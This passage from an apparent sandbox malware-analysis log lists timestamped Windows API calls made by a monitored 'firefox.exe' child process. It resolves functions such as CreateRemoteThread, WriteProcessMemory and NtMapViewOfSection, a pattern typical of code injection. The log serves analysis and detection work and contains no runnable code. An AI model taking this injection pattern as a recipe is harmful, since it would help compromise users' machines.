[0180.714] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x6bbf794, lpdwBufferLength=0x6bbf790 | out: lpBuffer=0x6bbf794, lpdwBufferLength=0x6bbf790) returned 1 [0180.714] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x6bbf78c, lpdwBufferLength=0x6bbf790 | out: lpBuffer=0x6bbf78c, lpdwBufferLength=0x6bbf790) returned 1 [0180.797] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbf70c, lpdwBufferLength=0x6bbf708 | out: lpBuffer=0x6bbf70c, lpdwBufferLength=0x6bbf708) returned 0 Thread: id = 474 os_tid = 0x118 Thread: id = 475 os_tid = 0x30c Thread: id = 531 os_tid = 0xa88 Thread: id = 538 os_tid = 0x520 [0436.623] SetEvent (hEvent=0x728) returned 1 [0436.623] SetEvent (hEvent=0x6f0) returned 1 Thread: id = 543 os_tid = 0xb20 Thread: id = 556 os_tid = 0x884 [0736.611] SetEvent (hEvent=0x510) returned 1 [0736.611] SetEvent (hEvent=0x63c) returned 1 Thread: id = 583 os_tid = 0x96c Thread: id = 591 os_tid = 0xa6c Process: id = "6" image_name = "firefox.exe" filename = "c:\\program files (x86)\\mozilla firefox\\firefox.exe" page_root = "0x7456c000" os_pid = "0xb64" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" " cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 55 os_tid = 0xb68 [0066.660] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x3ffc28 | out: BaseAddress=0x3ffc28*=0x77340000) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735f9d0) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwOpenProcess", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735fc10) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwOpenProcessToken", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773610b0) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryInformationToken", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735fb98) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735ff94) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735fc70) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735fc40) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlRandomEx", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773801e3) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735fac8) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlGetVersion", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7737873a) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773761ed) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735fda0) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlImageNtHeader", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77373164) returned 0x0 [0066.661] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77414a75) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_wcsupr", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77414f53) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memmove", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77378f50) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="bsearch", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7736ebdc) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_vsnwprintf", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7738ef93) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="strstr", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773bc780) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_strlwr", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77414a48) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="atoi", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7738d2f3) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="wcscpy", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x774156cd) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlFreeUnicodeString", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7736e126) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlUpcaseUnicodeString", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7739b49f) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735fa80) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="sprintf", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x774153c3) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_snprintf", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77414760) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memset", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7736df20) returned 0x0 [0066.662] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlAdjustPrivilege", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773f1f40) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="mbstowcs", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773ba152) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77362340) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="strcpy", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773bc300) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlImageDirectoryEntryToData", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7736f546) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77372265) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_aulldiv", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7739b140) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_allmul", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77382760) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_aullshr", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77378860) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_allshl", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77373140) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_chkstk", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7737ad68) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlUnwind", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77386d39) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtQueryVirtualMemory", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7735fbc8) returned 0x0 [0066.663] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x3ffc28 | out: BaseAddress=0x3ffc28*=0x769e0000) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f542c) returned 0x0 [0066.663] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1986) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f5aa6) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualQueryEx", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a745cf) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a7416b) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4467) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExitThread", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7739d598) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempFileNameA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a19d3f) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1856) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773745f5) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f435f) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f49ca) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0eceb) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f14b1) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1245) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f3e8e) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f18f1) returned 0x0 [0066.664] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1826) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f10ff) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f49d7) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1410) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0d9e0) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f5506) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1809) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f53c6) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f5a4b) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0cfdf) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a12a9d) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x7736e026) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0d0a7) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveDirectoryA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a744bf) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f5444) returned 0x0 [0066.665] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f14c9) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a12b7a) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1282) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a1d526) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f11c0) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedIncrement", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1400) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedDecrement", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f13f0) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f35b7) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4a2d) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f16c5) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77381f6e) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f110c) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f2d3c) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a12b0a) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a17d7e) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f43ef) returned 0x0 [0066.666] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a13102) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4220) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4259) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4435) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f34d5) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0d802) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0efec) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a1828e) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4442) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f16dd) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f54ee) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1450) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f168c) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f103d) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a1830d) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1700) returned 0x0 [0066.667] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a1bb2f) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f89b3) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f17ec) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f328c) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4950) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a1276c) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedExchange", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1462) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f3509) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f1b18) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f196e) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4173) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f3f5c) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f170d) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f11a9) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x77362270) returned 0x0 [0066.668] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x773622b0) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x769f4c6b) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetComputerNameA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0b6e0) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a74ae0) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenMutexA", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: ProcedureAddress=0x3ffc24*=0x76a0ec6f) returned 0x0 [0066.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x3ffc24 | out: 